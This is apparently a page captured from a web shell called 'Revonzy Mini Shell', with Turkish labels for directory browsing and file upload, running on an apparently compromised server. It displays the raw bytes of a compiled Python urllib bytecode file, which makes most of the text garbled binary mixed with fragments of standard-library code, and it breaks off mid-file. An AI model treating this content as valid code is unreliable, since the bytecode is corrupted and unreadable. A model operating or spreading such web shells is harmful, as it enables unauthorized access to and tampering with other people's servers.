Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /usr/lib64/python3.9/urllib/__pycache__/
Dosya Yükle :
Şuanki Dosya : //usr/lib64/python3.9/urllib/__pycache__/request.cpython-39.opt-2.pyc

a

�DOg���@s�ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZmZmZddlmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'ddl(m)Z)m*Z*zddl+Z+Wne,�ydZ-Yn0dZ-gd�Z.dej/dd	�Z0da1de
j2fddddd
�dd�Z3d
d�Z4gZ5d�dd�Z6dd�Z7e	�8de	j9�Z:dd�Z;Gdd�d�Z<Gdd�d�Z=dd�Z>Gdd�d�Z?Gdd�de?�Z@Gd d!�d!e?�ZAGd"d#�d#e?�ZBd$d%�ZCGd&d'�d'e?�ZDGd(d)�d)�ZEGd*d+�d+eE�ZFGd,d-�d-eF�ZGGd.d/�d/�ZHGd0d1�d1eHe?�ZIGd2d3�d3eHe?�ZJejKZLGd4d5�d5�ZMGd6d7�d7e?eM�ZNGd8d9�d9e?eM�ZOGd:d;�d;e?�ZPGd<d=�d=eP�ZQeRejSd>��r�Gd?d@�d@eP�ZTe.�Ud@�GdAdB�dBe?�ZVGdCdD�dDe?�ZWdEdF�ZXdGdH�ZYGdIdJ�dJe?�ZZdKdL�Z[GdMdN�dNe?�Z\GdOdP�dPe\�Z]GdQdR�dRe?�Z^dSZ_ej`dTk�r�ddUlambZbmcZcndVdW�ZbdXdY�ZciZdGdZd[�d[�ZeGd\d]�d]ee�Zfdagd^d_�Zhdaid`da�Zjdakdbdc�Zldamddde�ZnGdfdg�dg�Zodhdi�Zpd�djdk�Zqdldm�Zrdndo�Zsejtdpk�rPddqlumvZvmwZwdrds�Zxdtdu�Zydvdw�Zzdxdy�Z{n6ej`dTk�r~dzd{�Z|d|dy�Z{d}d~�Z}ddw�ZznepZ{eqZzdS)��N)�URLError�	HTTPError�ContentTooShortError)�urlparse�urlsplit�urljoin�unwrap�quote�unquote�
_splittype�
_splithost�
_splitport�
_splituser�_splitpasswd�
_splitattr�_splitquery�_splitvalue�	_splittag�	_to_bytes�unquote_to_bytes�
urlunparse)�
addinfourl�addclosehookFT)!�Request�OpenerDirector�BaseHandler�HTTPDefaultErrorHandler�HTTPRedirectHandler�HTTPCookieProcessor�ProxyHandler�HTTPPasswordMgr�HTTPPasswordMgrWithDefaultRealm�HTTPPasswordMgrWithPriorAuth�AbstractBasicAuthHandler�HTTPBasicAuthHandler�ProxyBasicAuthHandler�AbstractDigestAuthHandler�HTTPDigestAuthHandler�ProxyDigestAuthHandler�HTTPHandler�FileHandler�
FTPHandler�CacheFTPHandler�DataHandler�UnknownHandler�HTTPErrorProcessor�urlopen�install_opener�build_opener�pathname2url�url2pathname�
getproxies�urlretrieve�
urlcleanup�	URLopener�FancyURLopenerz%d.%d�)�cafile�capath�	cadefault�contextc
Cs�|s|s|rfddl}|�dtd�|dur2td��ts>td��tjtjj||d�}t	|d�}t
|�}	n0|r~t	|d�}t
|�}	ntdur�t
�a}	nt}	|	�|||�S)NrzJcafile, capath and cadefault are deprecated, use a custom context instead.r:zDYou can't pass both context and any of cafile, capath, and cadefaultzSSL support not available)r;r<)r>)
�warnings�warn�DeprecationWarning�
ValueError�	_have_ssl�sslZcreate_default_contextZPurposeZSERVER_AUTH�HTTPSHandlerr2�_opener�open)
�url�data�timeoutr;r<r=r>r?Z
https_handler�opener�rL�&/usr/lib64/python3.9/urllib/request.pyr0�s04��
�



r0cCs|adS�N)rF)rKrLrLrMr1�sr1c	Cslt|�\}}t�t||����}|��}|dkrR|sRtj�|�|fWd�S|rbt|d�}nt	j
dd�}|j}t�
|�|��||f}	d}
d}d}d}
d|vr�t|d	�}|r�||
|
|�|�|
�}|sҐq|t|�7}|�|�|
d
7}
|r�||
|
|�q�Wd�n1�s0YWd�n1�s80Y|dk�rh||k�rhtd||f|	��|	S)N�file�wbF)�delete� ���r�content-length�Content-Length��1retrieval incomplete: got only %i out of %i bytes)r�
contextlib�closingr0�info�os�path�normpathrG�tempfile�NamedTemporaryFile�name�_url_tempfiles�append�int�read�len�writer)rH�filename�
reporthookrIZurl_typer\�fp�headers�tfp�result�bs�sizerd�blocknum�blockrLrLrMr6�sH


N��r6c	CsBtD]&}zt�|�Wqty(Yq0qtdd�=tr>dadSrN)rar[�unlink�OSErrorrF)Z	temp_filerLrLrMr7s
r7z:\d+$cCs<|j}t|�d}|dkr&|�dd�}t�d|d�}|��S)NrV��Host)�full_urlr�
get_header�_cut_port_re�sub�lower)�requestrH�hostrLrLrM�request_host+sr|c@s�eZdZdidddfdd�Zedd��Zejdd��Zejdd��Zed	d
��Zejdd
��Zejdd
��Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zd#dd�Zdd �Zd!d"�ZdS)$rNFc	Csl||_i|_i|_d|_||_d|_|��D]\}}|�||�q,|durRt|�}||_	||_
|rh||_dSrN)rurj�unredirected_hdrs�_datarI�_tunnel_host�items�
add_headerr|�origin_req_host�unverifiable�method)	�selfrHrIrjr�r�r��key�valuerLrLrM�__init__=szRequest.__init__cCs|jrd�|j|j�S|jS)Nz{}#{})�fragment�format�	_full_url�r�rLrLrMruOszRequest.full_urlcCs(t|�|_t|j�\|_|_|��dSrN)rr�rr��_parse�r�rHrLrLrMruUs
cCsd|_d|_d|_dS�Nrs)r�r��selectorr�rLrLrMru\scCs|jSrN)r~r�rLrLrMrIbszRequest.datacCs(||jkr$||_|�d�r$|�d�dS)N�Content-length)r~�
has_header�
remove_header)r�rIrLrLrMrIfs

cCs
d|_dSrN)rIr�rLrLrMrIpscCsNt|j�\|_}|jdur(td|j��t|�\|_|_|jrJt|j�|_dS)Nzunknown url type: %r)	rr��typerBrurr{r�r
)r��restrLrLrMr�ts
zRequest._parsecCs|jdurdnd}t|d|�S)N�POST�GETr�)rI�getattr)r�Zdefault_methodrLrLrM�
get_method|szRequest.get_methodcCs|jSrN)rur�rLrLrM�get_full_url�szRequest.get_full_urlcCs2|jdkr|js|j|_n||_|j|_||_dS)N�https)r�rr{rur�)r�r{r�rLrLrM�	set_proxy�s

zRequest.set_proxycCs|j|jkSrN)r�rur�rLrLrM�	has_proxy�szRequest.has_proxycCs||j|��<dSrN)rj�
capitalize�r�r��valrLrLrMr��szRequest.add_headercCs||j|��<dSrN)r}r�r�rLrLrM�add_unredirected_header�szRequest.add_unredirected_headercCs||jvp||jvSrN)rjr}�r��header_namerLrLrMr��s
�zRequest.has_headercCs|j�||j�||��SrN)rj�getr})r�r��defaultrLrLrMrv�s�zRequest.get_headercCs |j�|d�|j�|d�dSrN)rj�popr}r�rLrLrMr��szRequest.remove_headercCsi|j�|j�}t|���SrN)r}rj�listr�)r��hdrsrLrLrM�header_items�szRequest.header_items)N)�__name__�
__module__�__qualname__r��propertyru�setter�deleterrIr�r�r�r�r�r�r�r�rvr�r�rLrLrLrMr;s6�





	

rc@sNeZdZdd�Zdd�Zdd�Zdd�Zd	ejfd
d�Z	ddd
�Z
dd�Zd	S)rcCs6dt}d|fg|_g|_i|_i|_i|_i|_dS)N�Python-urllib/%sz
User-agent)�__version__�
addheaders�handlers�handle_open�handle_error�process_response�process_request)r�Zclient_versionrLrLrMr��szOpenerDirector.__init__c	CsRt|d�stdt|���d}t|�D�]}|dvr6q&|�d�}|d|�}||dd�}|�d�r�|�d�|d}||dd�}zt|�}Wnty�Yn0|j�	|i�}	|	|j|<n>|dkr�|}|j
}	n*|d	kr�|}|j}	n|d
kr&|}|j}	nq&|	�
|g�}
|
�r t�|
|�n
|
�|�d}q&|�rNt�|j|�|�|�dS)N�
add_parentz%expected BaseHandler instance, got %rF)�redirect_request�do_open�
proxy_open�_rV�errorrG�responserzT)�hasattr�	TypeErrorr��dir�find�
startswithrcrBr�r�r�r�r��
setdefault�bisect�insortrbr�r�)r��handlerZadded�meth�i�protocolZ	condition�j�kind�lookupr�rLrLrM�add_handler�sL
�


zOpenerDirector.add_handlercCsdSrNrLr�rLrLrM�close�szOpenerDirector.closec	Gs<|�|d�}|D]&}t||�}||�}|dur|SqdS)NrL)r�r�)	r��chainr��	meth_name�argsr�r��funcrlrLrLrM�_call_chain�s
zOpenerDirector._call_chainNc
Cs�t|t�rt||�}n|}|dur(||_||_|j}|d}|j�|g�D]}t||�}||�}qJt	�
d|j|j|j|�
��|�||�}	|d}|j�|g�D]}t||�}|||	�}	q�|	S)NZ_requestzurllib.RequestZ	_response)�
isinstance�strrrIrJr�r�r�r��sys�auditrurjr��_openr�)
r��fullurlrIrJ�reqr�r�Z	processorr�r�rLrLrMrG�s$



zOpenerDirector.opencCsP|�|jdd|�}|r|S|j}|�|j||d|�}|r>|S|�|jdd|�S)Nr�Zdefault_openr��unknown�unknown_open)r�r�r�)r�r�rIrlr�rLrLrMr�s 
���
�zOpenerDirector._opencGs~|dvr,|jd}|d}d|}d}|}n|j}|d}d}|||f|}|j|�}|r^|S|rz|dd	f|}|j|�SdS)
N��httpr�r�r:z
http_error_%srV�_errorrr��http_error_default)r�r�)r��protor��dictr�Zhttp_errZ	orig_argsrlrLrLrMr�s 

zOpenerDirector.error)N)r�r�r�r�r�r�r��socket�_GLOBAL_DEFAULT_TIMEOUTrGr�r�rLrLrLrMr�s/
rc	Gs�t�}ttttttttt	g	}t
tjd�r2|�
t�t�}|D]B}|D]8}t|t�rht||�r||�|�qDt||�rD|�|�qDq<|D]}|�|�q�|D]}|�|��q�|D]}t|t�r�|�}|�|�q�|S)N�HTTPSConnection)rrr.r)rrr+r*r/r-r�r��clientrbrE�setr�r��
issubclass�add�remover�)r�rKZdefault_classes�skip�klass�check�hrLrLrMr27s2	�




r2c@s(eZdZdZdd�Zdd�Zdd�ZdS)	r��cCs
||_dSrN)�parent)r�r�rLrLrMr�^szBaseHandler.add_parentcCsdSrNrLr�rLrLrMr�aszBaseHandler.closecCst|d�sdS|j|jkS)N�
handler_orderT)r�r�)r��otherrLrLrM�__lt__es
zBaseHandler.__lt__N)r�r�r�r�r�r�r�rLrLrLrMr[src@seZdZdZdd�ZeZdS)r/i�cCsH|j|j|��}}}d|kr,dksDn|j�d|||||�}|S)N���,r�)�code�msgrZr�r�)r�rzr�r�r�r�rLrLrM�
http_responsers�z HTTPErrorProcessor.http_responseN)r�r�r�r�r��https_responserLrLrLrMr/nsr/c@seZdZdd�ZdS)rcCst|j||||��dSrN)rru)r�r�rir�r�r�rLrLrMr��sz*HTTPDefaultErrorHandler.http_error_defaultN)r�r�r�r�rLrLrLrMrsrc@s4eZdZdZdZdd�Zdd�ZeZZZ	dZ
dS)	r��
c	st|��}|dvr|dvs:|dvr(|dks:t|j||||��|�dd�}d��fdd	�|j��D�}t|||jd
d�S)N)�-�.�/i3)r�ZHEAD)r�r�r�r�� z%20)rTzcontent-typecs"i|]\}}|���vr||�qSrL)ry��.0�k�v�ZCONTENT_HEADERSrLrM�
<dictcomp>�s�z8HTTPRedirectHandler.redirect_request.<locals>.<dictcomp>T)rjr�r�)r�rru�replacerjr�rr�)	r�r�rir�r�rj�newurl�mZ
newheadersrLrrMr��s
���z$HTTPRedirectHandler.redirect_requestc
CsLd|vr|d}nd|vr$|d}ndSt|�}|jdvrRt||d||f||��|jsn|jrnt|�}d|d<t|�}t|dtj	d�}t
|j|�}|�||||||�}|dur�dSt
|d	��r|j}	|_|	�|d
�|jks�t|	�|jk�rt|j||j|||��ni}	|_|_|	�|d
�d|	|<|��|��|jj||jd�S)
N�location�uri�r�r��ftprsz+%s - Redirection to url '%s' is not allowed�/r:z
iso-8859-1)�encoding�safe�
redirect_dictrrV�rJ)r�schemerr\�netlocr�rr	�string�punctuationrrur�r�rr��max_repeatsre�max_redirections�inf_msgrdr�r�rGrJ)
r�r�rir�r�rjr�urlparts�newZvisitedrLrLrM�http_error_302�sH



����z"HTTPRedirectHandler.http_error_302zoThe HTTP server returned a redirect error that would lead to an infinite loop.
The last 30x error message was:
N)r�r�r�rrr�r�http_error_301�http_error_303�http_error_307rrLrLrLrMr�s&<rc
Cs�t|�\}}|�d�s d}|}nZ|�d�s6td|��d|vrV|�d�}|�d|�}n|�dd�}|dkrnd}|d|�}t|�\}}|dur�t|�\}}	nd}}	|||	|fS)Nr�//zproxy URL with no authority: %r�@r:rS)rr�rBr�rr)
�proxyrZr_scheme�	authorityZhost_separator�end�userinfo�hostport�user�passwordrLrLrM�_parse_proxy�s$


r)c@s"eZdZdZddd�Zdd�ZdS)r�dNcCsP|durt�}||_|��D].\}}|��}t|d||||jfdd��qdS)Nz%s_opencSs||||�SrNrL)�rr"r�r�rLrLrM�<lambda>!sz'ProxyHandler.__init__.<locals>.<lambda>)r5�proxiesr�ry�setattrr�)r�r-r�rHrLrLrMr�s
�zProxyHandler.__init__cCs�|j}t|�\}}}}|dur"|}|jr6t|j�r6dS|rv|rvdt|�t|�f}	t�|	����d�}
|�	dd|
�t|�}|�
||�||ks�|dkr�dS|jj||j
d�SdS)N�%s:%s�ascii�Proxy-authorization�Basic r�r)r�r)r{�proxy_bypassr
�base64�	b64encode�encode�decoder�r�r�rGrJ)r�r�r"r�Z	orig_typeZ
proxy_typer'r(r&Z	user_passZcredsrLrLrMr�$s"�zProxyHandler.proxy_open)N)r�r�r�r�r�r�rLrLrLrMrs
rc@s6eZdZdd�Zdd�Zdd�Zd
dd	�Zd
d�ZdS)r cCs
i|_dSrN)�passwdr�rLrLrMr�BszHTTPPasswordMgr.__init__cs\t|t�r|g}|�jvr$i�j|<dD].�t��fdd�|D��}||f�j||<q(dS)N�TFc3s|]}��|��VqdSrN)�
reduce_uri)r�u��default_portr�rLrM�	<genexpr>Lsz/HTTPPasswordMgr.add_password.<locals>.<genexpr>)r�r�r8�tuple)r��realmrr'r8�reduced_urirLr<rM�add_passwordEs


�zHTTPPasswordMgr.add_passwordc	Cs`|j�|i�}dD]H}|�||�}|��D].\}}|D] }|�||�r6|Sq6q*qdS)Nr9�NN)r8r�r:r��	is_suburi)	r�r@�authuriZdomainsr=�reduced_authuriZurisZauthinforrLrLrM�find_user_passwordPsz"HTTPPasswordMgr.find_user_passwordTc
Cs�t|�}|dr.|d}|d}|dp*d}nd}|}d}t|�\}}|r~|dur~|dur~ddd��|�}	|	dur~d||	f}||fS)	NrVrr:r�Pi�r�z%s:%d)rr
r�)
r�rr=�partsrr#r\r{�portZdportrLrLrMr:Zs$��zHTTPPasswordMgr.reduce_uricCsN||krdS|d|dkr dS|d}|dd�dkr@|d7}|d�|�S)NTrFrVrSr)r�)r��base�test�prefixrLrLrMrDqszHTTPPasswordMgr.is_suburiN)T)r�r�r�r�rBrGr:rDrLrLrLrMr @s


r c@seZdZdd�ZdS)r!cCs0t�|||�\}}|dur"||fSt�|d|�SrN)r rG)r�r@rEr'r(rLrLrMrG�s�z2HTTPPasswordMgrWithDefaultRealm.find_user_passwordN)r�r�r�rGrLrLrLrMr!�sr!cs<eZdZ�fdd�Zd
�fdd�	Zddd�Zdd	�Z�ZS)r"csi|_t�j|i|��dSrN)�
authenticated�superr��r�r��kwargs��	__class__rLrMr��sz%HTTPPasswordMgrWithPriorAuth.__init__Fcs<|�||�|dur&t��d|||�t��||||�dSrN)�update_authenticatedrOrB)r�r@rr'r8�is_authenticatedrRrLrMrB�sz)HTTPPasswordMgrWithPriorAuth.add_passwordcCs>t|t�r|g}dD]$}|D]}|�||�}||j|<qqdS�Nr9)r�r�r:rN)r�rrUr=r;rArLrLrMrT�s
z1HTTPPasswordMgrWithPriorAuth.update_authenticatedcCsDdD]:}|�||�}|jD]"}|�||�r|j|SqqdSrV)r:rNrD)r�rEr=rFrrLrLrMrU�s

z-HTTPPasswordMgrWithPriorAuth.is_authenticated)F)F)r�r�r�r�rBrTrU�
__classcell__rLrLrRrMr"�s

r"c@sTeZdZe�dej�Zddd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZeZ
eZdS)r#z1(?:^|,)[ 	]*([^ 	,]+)[ 	]+realm=(["']?)([^"']*)\2NcCs"|durt�}||_|jj|_dSrN)r r8rB)r�Zpassword_mgrrLrLrMr��sz!AbstractBasicAuthHandler.__init__ccspd}tj�|�D]6}|��\}}}|dvr8t�dtd�||fVd}q|sl|r^|��d}nd}|dfVdS)NF)�"�'zBasic Auth Realm was unquoted�Trrs)r#�rx�finditer�groupsr?r@�UserWarning�split)r��headerZfound_challenge�morr	r@rLrLrM�_parse_realm�s�
z%AbstractBasicAuthHandler._parse_realmc	Cs~|�|�}|sdSd}|D]H}|�|�D]8\}}|��dkrB|}q(|dur(|�|||�Sq(q|durztd|f��dS)N�basiczBAbstractBasicAuthHandler does not support the following scheme: %r)Zget_allrbry�retry_http_basic_authrB)	r��authreqr{r�rjZunsupportedr`rr@rLrLrM�http_error_auth_reqed�s
�z.AbstractBasicAuthHandler.http_error_auth_reqedcCs||j�||�\}}|durtd||f}dt�|����d�}|�|jd�|krTdS|�|j|�|j	j
||jd�SdSdS)Nr/r2r0r)r8rGr4r5r6r7rv�auth_headerr�r�rGrJ)r�r{r�r@r'�pw�raw�authrLrLrMrd�sz.AbstractBasicAuthHandler.retry_http_basic_authcCstt|jd�r|j�|j�s|S|�d�sp|j�d|j�\}}d�||���}t�	|��
�}|�dd�|����|S)NrU�
Authorizationz{0}:{1}zBasic {})
r�r8rUrur�rGr�r6r4Zstandard_b64encoder7r��strip)r�r�r'r8ZcredentialsZauth_strrLrLrM�http_request�s�
�z%AbstractBasicAuthHandler.http_requestcCsLt|jd�rHd|jkr"dkr8nn|j�|jd�n|j�|jd�|S)NrUr�r�TF)r�r8r�rTru)r�r�r�rLrLrMr�s
z&AbstractBasicAuthHandler.http_response)N)r�r�r��re�compile�Ir[r�rbrfrdrmr��
https_requestr�rLrLrLrMr#�s�

r#c@seZdZdZdd�ZdS)r$rkcCs|j}|�d|||�}|S)N�www-authenticate)rurf)r�r�rir�r�rjrHr�rLrLrM�http_error_401s
�z#HTTPBasicAuthHandler.http_error_401N)r�r�r�rgrsrLrLrLrMr$sr$c@seZdZdZdd�ZdS)r%r1cCs|j}|�d|||�}|S�N�proxy-authenticate)r{rf)r�r�rir�r�rjr#r�rLrLrM�http_error_407's
�z$ProxyBasicAuthHandler.http_error_407N)r�r�r�rgrvrLrLrLrMr%#sr%c@sNeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dS)r&NcCs4|durt�}||_|jj|_d|_d|_d|_dS�Nr)r r8rB�retried�nonce_count�
last_nonce)r�r8rLrLrMr�As
z"AbstractDigestAuthHandler.__init__cCs
d|_dSrw)rxr�rLrLrM�reset_retry_countJsz+AbstractDigestAuthHandler.reset_retry_countcCs||�|d�}|jdkr*t|jdd|d��n|jd7_|rx|��d}|��dkr`|�||�S|��dkrxtd|��dS)	N�i�zdigest auth failedrVr�digestrczEAbstractDigestAuthHandler does not support the following scheme: '%s')r�rxrrur_ry�retry_http_digest_authrB)r�rgr{r�rjrerrLrLrMrfMs

��z/AbstractDigestAuthHandler.http_error_auth_reqedcCsz|�dd�\}}ttdt|���}|�||�}|rvd|}|j�|jd�|krRdS|�|j|�|j	j
||jd�}|SdS)NrrVz	Digest %sr)r_�parse_keqv_list�filter�parse_http_list�get_authorizationrjr�rgr�r�rGrJ)r�r�rj�tokenZ	challenge�chalZauth_valZresprLrLrMr~asz0AbstractDigestAuthHandler.retry_http_digest_authcCs@d|j|t��f}|�d�td�}t�|���}|dd�S)Nz	%s:%s:%s:r0��)ry�time�ctimer6�_randombytes�hashlib�sha1�	hexdigest)r��nonce�s�b�digrLrLrM�
get_cnoncemsz$AbstractDigestAuthHandler.get_cnoncecCs�z6|d}|d}|�d�}|�dd�}|�dd�}WntyJYdS0|�|�\}}	|durfdS|j�||j�\}
}|
dur�dS|jdur�|�|j|�}nd}d|
||f}
d|��|j	f}|dur�|	||
�d|||�f�}n~d	|�
d
�v�rZ||jk�r|jd7_nd|_||_d|j}|�
|�}d
|||d	||�f}|	||
�|�}ntd|��d|
|||j	|f}|�r�|d|7}|�r�|d|7}|d|7}|�r�|d||f7}|S)Nr@r��qop�	algorithm�MD5�opaquez%s:%s:%sr/rj�,rVz%08xz%s:%s:%s:%s:%szqop '%s' is not supported.z>username="%s", realm="%s", nonce="%s", uri="%s", response="%s"z
, opaque="%s"z
, digest="%s"z, algorithm="%s"z, qop=auth, nc=%s, cnonce="%s")r��KeyError�get_algorithm_implsr8rGrurI�get_entity_digestr�r�r_rzryr�r)r�r�r�r@r�r�r�r��H�KDr'rhZentdigZA1ZA2ZrespdigZncvalueZcnonceZnoncebitrKrLrLrMr�xs\

�


��z+AbstractDigestAuthHandler.get_authorizationcsD|dkrdd��n|dkr$dd��ntd|���fdd�}�|fS)Nr�cSst�|�d����S�Nr0)r��md5r6r���xrLrLrMr,��z?AbstractDigestAuthHandler.get_algorithm_impls.<locals>.<lambda>ZSHAcSst�|�d����Sr�)r�r�r6r�r�rLrLrMr,�r�z.Unsupported digest authentication algorithm %rcs�d||f�S)Nr/rL)r��d�r�rLrMr,�r�)rB)r�r�r�rLr�rMr��s

�z-AbstractDigestAuthHandler.get_algorithm_implscCsdSrNrL)r�rIr�rLrLrMr��sz+AbstractDigestAuthHandler.get_entity_digest)N)r�r�r�r�r{rfr~r�r�r�r�rLrLrLrMr&6s
	>
r&c@seZdZdZdZdd�ZdS)r'rk��cCs*t|j�d}|�d|||�}|��|S)NrVrr)rrurfr{�r�r�rir�r�rjr{�retryrLrLrMrs�s�z$HTTPDigestAuthHandler.http_error_401N)r�r�r�rgr�rsrLrLrLrMr'�sr'c@seZdZdZdZdd�ZdS)r(�Proxy-Authorizationr�cCs"|j}|�d|||�}|��|Srt)r{rfr{r�rLrLrMrv�s�z%ProxyDigestAuthHandler.http_error_407N)r�r�r�rgr�rvrLrLrLrMr(�sr(c@s6eZdZd
dd�Zdd�Zdd�Zdd	�Zd
d�ZdS)�AbstractHTTPHandlerrcCs
||_dSrN��_debuglevel)r��
debuglevelrLrLrMr��szAbstractHTTPHandler.__init__cCs
||_dSrNr�)r��levelrLrLrM�set_http_debuglevel�sz'AbstractHTTPHandler.set_http_debuglevelcCstjj�|j|���SrN)r�r��HTTPConnection�_get_content_lengthrIr��r�rzrLrLrMr��s�z'AbstractHTTPHandler._get_content_lengthcCs|j}|std��|jdur�|j}t|t�r8d}t|��|�d�sN|�dd�|�d�s�|�d�s�|�|�}|dur�|�dt|��n|�dd�|}|�	�r�t
|j�\}}t|�\}}	|�d�s�|�d|�|j
jD]&\}
}|
��}
|�|
�s�|�|
|�q�|S)	N�
no host givenz\POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.zContent-type�!application/x-www-form-urlencodedr��Transfer-encodingZchunkedrt)r{rrIr�r�r�r�r�r�r�rr�rr�r�r�)r�rzr{rIr�Zcontent_lengthZsel_hostrZselZsel_pathr`r�rLrLrM�do_request_�sF


�
�
��

zAbstractHTTPHandler.do_request_c

sV|j}|std��||fd|ji|��}|�|j�t|j�����fdd�|j�	�D��d�d<dd���	�D��|j
r�i}d}|�vr��|||<�|=|j|j
|d	�zbz&|j|�
�|j|j�|�d
�d�Wn.t�y}zt|��WYd}~n
d}~00|��}	Wn|���Yn0|j�r@|j��d|_|��|	_|	j|	_|	S)Nr�rJcsi|]\}}|�vr||�qSrLrLr�rjrLrMr's�z/AbstractHTTPHandler.do_open.<locals>.<dictcomp>r��
ConnectioncSsi|]\}}|��|�qSrL)�title)rr`r�rLrLrMr4r�r�r�r�)Zencode_chunked)r{rrJZset_debuglevelr�r�r}�updaterjr�rZ
set_tunnelrzr�r�rIr�rr�getresponser��sockr�rH�reasonr�)
r�Z
http_classr�Zhttp_conn_argsr{r�Ztunnel_headersZproxy_auth_hdr�errr+rLr�rMr�sB
�


zAbstractHTTPHandler.do_openN)r)r�r�r�r�r�r�r�r�rLrLrLrMr��s

&r�c@seZdZdd�ZejZdS)r)cCs|�tjj|�SrN)r�r�r�r��r�r�rLrLrM�	http_open^szHTTPHandler.http_openN)r�r�r�r�r�r�rmrLrLrLrMr)\sr)r�c@s$eZdZddd�Zdd�ZejZdS)rErNcCst�||�||_||_dSrN)r�r��_context�_check_hostname)r�r�r>�check_hostnamerLrLrMr�gszHTTPSHandler.__init__cCs|jtjj||j|jd�S)N)r>r�)r�r�r�r�r�r�r�rLrLrM�
https_openls�zHTTPSHandler.https_open)rNN)r�r�r�r�r�r�r�rqrLrLrLrMrEes
rEc@s.eZdZddd�Zdd�Zdd�ZeZeZdS)	rNcCs$ddl}|dur|j��}||_dSrw)Zhttp.cookiejar�	cookiejarZ	CookieJar)r�r�r�rLrLrMr�us
zHTTPCookieProcessor.__init__cCs|j�|�|SrN)r�Zadd_cookie_headerr�rLrLrMrm{sz HTTPCookieProcessor.http_requestcCs|j�||�|SrN)r�Zextract_cookies)r�rzr�rLrLrMr�sz!HTTPCookieProcessor.http_response)N)r�r�r�r�rmr�rqr�rLrLrLrMrts

rc@seZdZdd�ZdS)r.cCs|j}td|��dS)Nzunknown url type: %s)r�r)r�r�r�rLrLrMr��szUnknownHandler.unknown_openN)r�r�r�r�rLrLrLrMr.�sr.cCsNi}|D]@}|�dd�\}}|ddkr@|ddkr@|dd�}|||<q|S)N�=rVrrXrS)r_)�l�parsed�eltrrrLrLrMr�s
rcCs�g}d}d}}|D]l}|r*||7}d}q|rT|dkr>d}qn|dkrJd}||7}q|dkrl|�|�d}q|dkrxd}||7}q|r�|�|�dd�|D�S)	NrsF�\TrXr�cSsg|]}|���qSrL)rl)r�partrLrLrM�
<listcomp>�r�z#parse_http_list.<locals>.<listcomp>)rb)r��resr��escaper	ZcurrLrLrMr��s4	


r�c@s(eZdZdd�ZdZdd�Zdd�ZdS)r*cCs\|j}|dd�dkrN|dd�dkrN|jrN|jdkrN|j|��vrXtd��n
|�|�SdS)Nr:r rZr�	localhost�-file:// scheme is supported only on localhost)r�r{�	get_namesr�open_local_file)r�r�rHrLrLrM�	file_open�s&�
zFileHandler.file_openNcCs^tjdurXz*tt�d�dt�t���d�t_Wn"tjyVt�d�ft_Yn0tjS)Nr�r:)r*�namesr?r��gethostbyname_ex�gethostname�gaierror�
gethostbynamer�rLrLrMr��s
��
zFileHandler.get_namesc
Csddl}ddl}|j}|j}t|�}z�t�|�}|j}|jj	|j
dd�}	|�|�d}
|�d|
pbd||	f�}|r~t
|�\}}|r�|s�t|�|��vr�|r�d||}
nd|}
tt|d�||
�WSWn,ty�}zt|��WYd}~n
d}~00td��dS)	NrT�Zusegmtz6Content-type: %s
Content-length: %d
Last-modified: %s
�
text/plain�file://�rbzfile not on local host)�email.utils�	mimetypesr{r�r4r[�stat�st_size�utils�
formatdate�st_mtime�
guess_type�message_from_stringr
�_safe_gethostbynamer�rrGrrr)r�r��emailr�r{rgZ	localfile�statsrn�modified�mtyperjrJZorigurl�exprLrLrMr��s:
����zFileHandler.open_local_file)r�r�r�r�r�r�r�rLrLrLrMr*�s
r*cCs(zt�|�WStjy"YdS0dSrN)r�r�r�)r{rLrLrMr��sr�c@seZdZdd�Zdd�ZdS)r+c
Cs.ddl}ddl}|j}|s"td��t|�\}}|dur>|j}nt|�}t|�\}}|rdt|�\}}nd}t	|�}|pvd}|p~d}zt
�|�}Wn,ty�}zt|��WYd}~n
d}~00t
|j�\}	}
|	�d�}ttt	|��}|dd�|d}}|�r|d�s|dd�}z�|�||||||j�}
|�r8d�p:d}|
D]2}t|�\}}|��d	k�r@|d
v�r@|��}�q@|
�||�\}}d}|�|j�d}|�r�|d|7}|du�r�|dk�r�|d|7}t�|�}t|||j�WS|j�y(}z*td
|�}|�t� �d��WYd}~n
d}~00dS)Nr�ftp error: no host givenrsrrSrVrp�Dr���a�Ar�rpr�r�zContent-type: %s
zContent-length: %d
�
ftp error: %rr:)!�ftplibr�r{rr
�FTP_PORTrcrrr
r�r�rrrr�r_r��map�connect_ftprJrry�upper�retrfiler�rur�r�r�
all_errors�with_tracebackr��exc_info)r�r�r�r�r{rJr'r8r�r\�attrs�dirsrO�fwr��attrr�ri�retrlenrjr�r��excrLrLrM�ftp_open�s^
�
zFTPHandler.ftp_openc	Cst||||||dd�S)NF)�
persistent)�
ftpwrapper)r�r'r8r{rJr�rJrLrLrMr�/s�zFTPHandler.connect_ftpN)r�r�r�r�r�rLrLrLrMr+�s5r+c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)r,cCs"i|_i|_d|_d|_d|_dS)Nr�<r�)�cacherJ�soonest�delay�	max_connsr�rLrLrMr�6s
zCacheFTPHandler.__init__cCs
||_dSrN)r)r��trLrLrM�
setTimeout=szCacheFTPHandler.setTimeoutcCs
||_dSrN)r)r�r	rLrLrM�setMaxConns@szCacheFTPHandler.setMaxConnscCsr|||d�|�|f}||jvr4t��|j|j|<n,t||||||�|j|<t��|j|j|<|��|j|S)Nr)�joinrr�rrJr�check_cache)r�r'r8r{rJr�rJr�rLrLrMr�Cs

�
zCacheFTPHandler.connect_ftpcCs�t��}|j|krPt|j���D].\}}||kr |j|��|j|=|j|=q tt|j����|_t	|j�|j
kr�t|j���D]&\}}||jkr�|j|=|j|=q�q�tt|j����|_dSrN)r�rr�rJr�rr��min�valuesrer)r�rrrrLrLrMr
Ns


zCacheFTPHandler.check_cachecCs0|j��D]}|��q
|j��|j��dSrN)rrr��clearrJ)r��connrLrLrM�clear_cachebs

zCacheFTPHandler.clear_cacheN)	r�r�r�r�rrr�r
rrLrLrLrMr,3sr,c@seZdZdd�ZdS)r-cCs~|j}|�dd�\}}|�dd�\}}t|�}|�d�rNt�|�}|dd�}|sVd}t�d|t|�f�}t	t
